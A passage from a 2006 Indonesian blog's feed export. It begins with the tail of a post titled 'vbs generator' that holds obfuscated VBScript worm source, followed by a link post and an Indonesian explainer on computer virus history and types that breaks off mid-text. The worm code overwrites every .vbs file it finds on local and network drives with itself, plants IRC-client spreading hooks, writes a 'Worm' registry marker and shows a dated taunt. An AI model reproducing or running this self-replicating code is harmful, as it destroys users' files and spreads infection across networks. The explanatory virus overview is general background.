&lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  ""&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "[400-Level  400]"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "&lt;span class="SpellE"&gt;UserCount&lt;/span&gt;=0"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "&lt;span class="SpellE"&gt;EventCount&lt;/span&gt;=0"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt;  ""&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "[500-Level  500]"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "&lt;span class="SpellE"&gt;UserCount&lt;/span&gt;=0"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;jvekedajhtk.WriteLine&lt;/span&gt; "&lt;span class="SpellE"&gt;EventCount&lt;/span&gt;=0"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;pirchini.close&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;ymxelbkdfsm.regwrite&lt;/span&gt;  "HKCU\software\Worm\&lt;span class="SpellE"&gt;pirched&lt;/span&gt;", "1"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;end&lt;/span&gt; if&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;end&lt;/span&gt; function&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;if&lt;/span&gt; month(now) =1 and day(now) =26  then&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;msgbox&lt;/span&gt;&lt;/span&gt;  "&lt;span class="SpellE"&gt;Kau&lt;/span&gt; Bodoh",16&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;end&lt;/span&gt; if&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Function &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;qaorydnuohu&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;()&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;On Error Resume Next&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Set &lt;span class="SpellE"&gt;qtrxfgqrwiy&lt;/span&gt; = &lt;span class="SpellE"&gt;pnisnipummf.Drives&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;For Each &lt;span class="SpellE"&gt;nvloycxmkkj&lt;/span&gt; &lt;span class="GramE"&gt;In&lt;/span&gt; &lt;span class="SpellE"&gt;qtrxfgqrwiy&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;If &lt;span class="SpellE"&gt;nvloycxmkkj.Drivetype&lt;/span&gt; = Remote  Then&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;mebfuhaiklh&lt;/span&gt;&lt;/span&gt;= &lt;span class="SpellE"&gt;nvloycxmkkj&lt;/span&gt;  &amp;amp; "\"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Call &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;tixpnisnipu&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;(&lt;/span&gt;&lt;span class="SpellE"&gt;mebfuhaiklh&lt;/span&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;ElseIf&lt;/span&gt; &lt;span class="SpellE"&gt;nvloycxmkkj.IsReady&lt;/span&gt; &lt;span class="GramE"&gt;Then&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;mebfuhaiklh&lt;/span&gt;&lt;/span&gt;= &lt;span class="SpellE"&gt;nvloycxmkkj&lt;/span&gt;&amp;amp;"\"&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Call &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;tixpnisnipu&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;(&lt;/span&gt;&lt;span class="SpellE"&gt;mebfuhaiklh&lt;/span&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;End If&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Next&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;End Function&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Function &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;tixpnisnipu&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;(&lt;/span&gt;&lt;span class="SpellE"&gt;mmfymxelbkd&lt;/span&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Set &lt;span class="SpellE"&gt;fsmlirpbmyb&lt;/span&gt;= &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;pnisnipummf.GetFolder&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;(&lt;/span&gt;&lt;span class="SpellE"&gt;mmfymxelbkd&lt;/span&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Set &lt;span class="SpellE"&gt;zfhozzejgvd&lt;/span&gt;= &lt;span class="SpellE"&gt;fsmlirpbmyb.Files&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;For Each &lt;span class="SpellE"&gt;mwgdyostsun&lt;/span&gt; &lt;span class="GramE"&gt;In&lt;/span&gt; &lt;span class="SpellE"&gt;zfhozzejgvd&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;if&lt;/span&gt; &lt;span class="SpellE"&gt;pnisnipummf.GetExtensionName&lt;/span&gt;(&lt;span class="SpellE"&gt;mwgdyostsun.path&lt;/span&gt;) = "&lt;span class="SpellE"&gt;vbs&lt;/span&gt;"  then&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;pnisnipummf.copyfile&lt;/span&gt; &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;wscript.scriptfullname&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt; ,&lt;/span&gt; &lt;span class="SpellE"&gt;mwgdyostsun.path&lt;/span&gt; ,  true&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;end&lt;/span&gt; if&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;if&lt;/span&gt; &lt;span class="SpellE"&gt;mwgdyostsun.name&lt;/span&gt; = "mirc.ini" then&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;ozzejgvdmwg&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;(&lt;/span&gt;&lt;span class="SpellE"&gt;mwgdyostsun.ParentFolder&lt;/span&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;end&lt;/span&gt; if&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;if&lt;/span&gt; &lt;span class="SpellE"&gt;mwgdyostsun.name&lt;/span&gt; = "Pirch32.exe" then&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;dyostsunjnc&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;(&lt;/span&gt;&lt;span class="SpellE"&gt;mwgdyostsun.ParentFolder&lt;/span&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span class="GramE"&gt;end&lt;/span&gt; if&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Next&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Set &lt;span class="SpellE"&gt;mwgdyostsun&lt;/span&gt;= &lt;span class="SpellE"&gt;fsmlirpbmyb.SubFolders&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;For Each &lt;span class="SpellE"&gt;jnciiqstpcj&lt;/span&gt; &lt;span class="GramE"&gt;In&lt;/span&gt; &lt;span class="SpellE"&gt;mwgdyostsun&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Call &lt;span class="SpellE"&gt;&lt;span class="GramE"&gt;tixpnisnipu&lt;/span&gt;&lt;/span&gt;&lt;span class="GramE"&gt;(&lt;/span&gt;&lt;span class="SpellE"&gt;jnciiqstpcj.path&lt;/span&gt;)&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;Next&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;End Function &lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34599328-115881418628714497?l=missendare.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/115881418628714497/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34599328&amp;postID=115881418628714497&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115881418628714497'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115881418628714497'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/2006/09/vbs-generator.html' title='vbs generator'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34599328.post-115864057434399020</id><published>2006-09-19T11:36:00.000+07:00</published><updated>2006-09-19T11:36:14.476+07:00</updated><title type='text'>Tagging with BlogThis! - Freshblog</title><content type='html'>&lt;a href="http://blogfresh.blogspot.com/2005/08/tagging-with-blogthis.html"&gt;Tagging with BlogThis! - Freshblog&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/34599328-115864057434399020?l=missendare.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://blogfresh.blogspot.com/2005/08/tagging-with-blogthis.html' title='Tagging with BlogThis! - Freshblog'/><link rel='replies' type='application/atom+xml' href='http://missendare.blogspot.com/feeds/115864057434399020/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=34599328&amp;postID=115864057434399020&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115864057434399020'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/34599328/posts/default/115864057434399020'/><link rel='alternate' type='text/html' href='http://missendare.blogspot.com/2006/09/tagging-with-blogthis-freshblog.html' title='Tagging with BlogThis! - Freshblog'/><author><name>Miss EndarE</name><uri>http://www.blogger.com/profile/14074827578197836263</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-34599328.post-115856982204303386</id><published>2006-09-18T15:55:00.000+07:00</published><updated>2006-09-18T15:57:02.230+07:00</updated><title type='text'>Tentang virus komputer</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: times new roman;"&gt;Mengenal Virus Computer&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   Saat Ini, pastilah kita semua selaku konsumen/pengguna jasa komputer dan jaringan ( internet ) sudah sangat sering mendengar istilah “virus” yang terkadang meresahkan kita. Tulisan ini akan mengupas lebih jauh mengenai virus, yang nantinya diharapkan dapat membuat kita semua mengerti dan memahami tentang virus.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;ASAL MUASAL VIRUS &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   1949, John von Neumann, menggungkapkan " teori self altering automata " yang merupakan hasil riset dari para ahli matematika. 1960, Lab BELL (AT&amp;T), para ahli di lab BELL (AT&amp;amp;T) mencoba-coba teori yang diungkapkan oleh &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;John von Neumann, dengan membuat suatu jenis permainan/game. Mereka membuat program yang dapat memperbanyak dirinya dan dapat menghancurkan program buatan lawan. Program yang mampu bertahan dan menghancurkan semua program lain, akan dianggap sebagai pemenangnya. Permainan ini akhirnya menjadi permainan favorit di tiap-tiap lab komputer. Tetapi, semakin lama program yang diciptakan makin berbahaya, sehingga mereka melakukan pengawasan dan pengamanan yang ketat terhadap permainan ini. 1980, Program-program tersebut yang akhirnya dikenal dengan sebutan "virus" ini berhasil menyebar keluar lingkungan laboratorium, dan mulai beredar di masyarakat umum. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;PENGERTIAN VIRUS &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;"A program that can infect other programs by modifying them to include a slighty altered copy of itself. A virus can spread throughout a computer system or network using the authorization of every user using it to infect their programs. Every programs that gets infected can also act as a virus that infection grows“ &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;( Fred Cohen )&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Pertama kali istilah “virus” digunakan oleh Fred Cohen pada tahun 1984 di Amerika Serikat. Virus komputer dinamakan “virus” karena memiliki beberapa persamaan mendasar dengan virus pada istilah kedokteran (biological viruses). Virus komputer bisa diartikan sebagai suatu program komputer biasa. Tetapi memiliki perbedaan yang mendasar dengan &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;program-program lainnya,yaitu virus dibuat untuk menulari program-program lainnya, mengubah, memanipulasinya bahkan sampai merusaknya. Ada yang perlu dicatat disini, virus hanya akan menulari apabila program pemicu atau program yang telah terinfeksi tadi dieksekusi, disinilah perbedaannya dengan "worm". Tulisan ini tidak akan bahas worm karena nanti &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;akan mengalihkan kita dari pembahasan mengenai virus ini. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;KRITERIA VIRUS &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Suatu program dapat disebut sebagai suatu virus apabila memenuhi minimal 5 kriteria berikut : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;1. Kemampuan untuk mendapatkan informasi &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;2. Kemampuan untuk memeriksa suatu file &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;3. Kemampuan untuk menggandakan diri dan menularkan diri &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;4. Kemampuan melakukan manipulasi &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;5. Kemampuan untuk menyembunyikan diri. Sekarang akan coba dijelaskan dengan singkat apa yang dimaksud &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;    dari tiap-tiap kemampuan itu dan mengapa ini sangat diperlukan. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;1. Kemampuan untuk mendapatkan informasi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   Pada umumnya suatu virus memerlukan daftar nama-nama file yang ada &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;dalam suatu directory. Untuk apa? Agar dia dapat memperoleh daftar file yang bisa dia tulari. Misalnya, virus makro yang akan menginfeksi semua file data MS Word, akan mencari daftar file berekstensi *.doc. Disinilah kemampuan mengumpulkan informasi itu diperlukan agar virus dapat membuat daftar/data semua file, lalu memilahnya dengan &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;mencari file-file yang bisa ditulari. Biasanya data ini tercipta saat file yang tertular/terinfeksi virus atau file program &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;virus itu sendiri dibuka oleh user. Sang virus akan segera melakukan pengumpulan data dan menaruhnya (biasanya) di RAM, sehingga apabila komputer dimatikan semua data hilang. Tetapi data-data ini akan tercipta kembali setiap kali virus itu diaktifkan. Biasanya data-data ini disimpan juga sebagai hidden file oleh virus tersebut.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;2. Kemampuan memeriksa suatu program&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   Suatu virus juga harus bisa memeriksa suatu file yang akan ditulari, misalnya dia bertugas menulari program berekstensi *.doc, maka dia harus memeriksa apakah file dokumen tersebut telah terinfeksi ataupun belum, karena jika sudah, akan percuma menularinya lagi. Ini sangat berguna untuk meningkatkan kemampuan suatu virus dalam hal kecepatan menginfeksi suatu file/program. Yang umum dilakukan oleh virus adalah memiliki/memberi tanda pada file/program yang telah terinfeksi sehingga mudah untuk dikenali oleh virus tersebut. Contoh penandaan adalah misalnya memberikan suatu byte yang unik di setiap file yang telah terinfeksi. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;3. Kemampuan untuk menggandakan diri&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   Kalo ini memang virus "bang-get", maksudnya, tanpa kemampuan ini tak adalah virus. Inti dari virus adalah kemampuan mengandakan diri dengan cara menulari file lainnya. Suatu virus apabila telah menemukan calon korbannya maka ia akan mengenalinya dengan memeriksanya. Jika belum terinfeksi maka sang virus akan memulai aksinya penularan dengan cara menuliskan byte pengenal pada file tersebut, dan seterusnya mengcopikan/menulis kode objek virus diatas file sasaran. Beberapa cara umum yang dilakukan oleh virus untuk menulari/menggandakan dirinya adalah : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;a. File yang akan ditulari dihapus atau diubah namanya. Kemudian diciptakan suatu file berisi program virus itu &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;    sendiri menggunakan nama file yang asli. &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;b. Program virus yang sudah dieksekusi/load ke memori akan langsung menulari file-file lain dengan cara menumpangi &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;    seluruh file yang ada. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;4. Kemampuan mengadakan manipulasi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   Rutin (routine) yang dimiliki suatu virus akan dijalankan setelah virus menulari suatu file. Isi dari suatu rutin ini dapat beragam mulai dari yang tidak berbahaya sampai yang melakukan perusakan. Rutin ini umumnya digunakan untuk memanipulasi file atau pun mempopulerkan pembuatnya ! Rutin ini memanfaatkan kemampuan dari suatu sistem operasi (Operating System), sehingga memiliki kemampuan yang sama dengan yang dimiliki sistem operasi. Misal : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;a. Membuat gambar atau pesan pada monitor &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;b. Mengganti/mengubah-ubah label dari tiap file, direktori, atau label dari drive di PC&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;c. Memanipulasi file yang ditulari&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;d. Merusak file &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;e. Mengacaukan kerja printer, dsb &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;5. Kemampuan Menyembunyikan diri&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   Kemampuan menyembunyikan diri ini harus dimiliki oleh suatu virus agar semua pekerjaan baik dari awal sampai berhasilnya penularan dapat terlaksana. Langkah langkah yang biasa dilakukan adalah: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- Program virus disimpan dalam bentuk kode mesin dan digabung dengan program lain yang dianggap berguna oleh pemakai &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- Program virus diletakkan pada Boot Record atau track pada disk yang jarang diperhatikan oleh komputer itu sendiri&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- Program virus dibuat sependek mungkin, dan hasil file yang diinfeksi tidak terlalu berubah ukurannya&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- Virus tidak mengubah keterangan/informasi waktu suatu file &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- dll &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;SIKLUS HIDUP VIRUS &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Siklus hidup virus secara umum, melalui 4 tahap: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;o Dormant phase ( Fase Istirahat/Tidur ) Pada fase ini virus tidaklah aktif. Virus akan diaktifkan oleh suatu kondisi tertentu, semisal: tanggal yang ditentukan, kehadiran program lain/dieksekusinya program lain, dsb. Tidak semua virus melalui fase ini.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;o Propagation phase ( Fase Penyebaran ) Pada fase ini virus akan mengkopikan dirinya kepada suatu program atau ke suatu tempat dari media storage (baik hardisk, RAM dsb). Setiap program yang terinfeksi akan menjadi hasil “kloning” virus tersebut (tergantung cara virus tersebut menginfeksinya).&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;o Trigerring phase ( Fase Aktif ) Di fase ini virus tersebut akan aktif dan hal ini juga di picu oleh beberapa kondisi seperti pada Dormant Phase.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;o Execution phase ( Fase Eksekusi ) Pada fase inilah virus yang telah aktif tadi akan melakukan fungsinya. Seperti menghapus file, menampilkan pesan-pesan, dsb &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;JENIS – JENIS VIRUS&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Untuk lebih mempertajam pengetahuan kita tentang virus, saya akan coba memberikan penjelasan tentang jenis-jenis virus yang sering berkeliaran di masyarakat umum. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;1. Virus Makro&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   Jenis virus ini pasti sudah sangat sering kita dengar. Virus ini ditulis dengan bahasa pemrograman dari suatu aplikasi bukan dengan bahasa pemrograman dari suatu Operating System. Virus ini dapat berjalan apabila aplikasi pembentuknya dapat berjalan dengan baik. Sebagai contoh jika pada komputer mac dijalankan aplikasi Word, maka virus makro yang dibuat dari bahasa makro Word dapat bekerja pada komputer bersistem operasi Mac ini. Contoh virus: &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- Varian W97M, misal W97M.Panther Panjang 1234 bytes, akanmenginfeksi NORMAL.DOT dan menginfeksi &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   dokumen apabila dibuka.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- WM.Twno.A;TW Panjang 41984 bytes, akan menginfeksi Dokumen Ms.Word yang menggunakan bahasa&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   makro, biasanya    berekstensi *.DOT dan *.DOC &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- dll &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;2. Virus Boot Sector &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   Virus Boot sector ini sudah umum sekali menyebar. Virus ini dalam menggandakan dirinya, akan memindahkan atau menggantikan boot sector asli dengan program booting virus. Sehingga saat terjadi booting maka virus akan diload ke memori dan selanjutnya virus akan mempunyai kemampuan mengendalikan hardware standar (contoh : monitor, printer dsb) dan dari memori ini pula virus akan menyebar ke seluruh drive yang ada dan yang terhubung ke komputer (contoh : floopy, drive lain selain drive c:). Contoh virus : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- Varian virus wyx ex: wyx.C(B) menginfeksi boot record dan floopy ; Panjang :520 bytes; Karakteristik : memory &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   resident dan terenkripsi.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- Varian V&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- Sign : Menginfeksi : Master Boot Record ; Panjang 520 bytes; Karakteristik : menetap di memori (memory &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   resident),terenkripsi, dan polymorphic)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- Stoned.june 4th/ bloody!: Menginfeksi : Master Boot Record dan floopy; Panjang 520 bytes; Karakteristik :&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   menetap di memori (memory resident), terenkripsi dan menampilkan pesan "Bloody!june 4th 1989" setelah&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   komputer melakukan booting sebanyak 128 kali. &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;3. Stealth Virus &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   Virus ini akan menguasai tabel interrupt pada DOS yang sering kita kenal dengan "Interrupt interceptor". Virus ini berkemampuan untuk mengendalikan instruksi-instruksi level DOS dan biasanya mereka tersembunyi sesuai namanya baik secara penuh ataupun ukurannya. Contoh virus : &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;- Yankee.XPEH.4928, Menginfeksi file *.COM dan *.EXE ; Panjang 4298 bytes; Karakteristik: menetap&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;   di memori, ukurantersembunyi, memiliki pemicu &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new 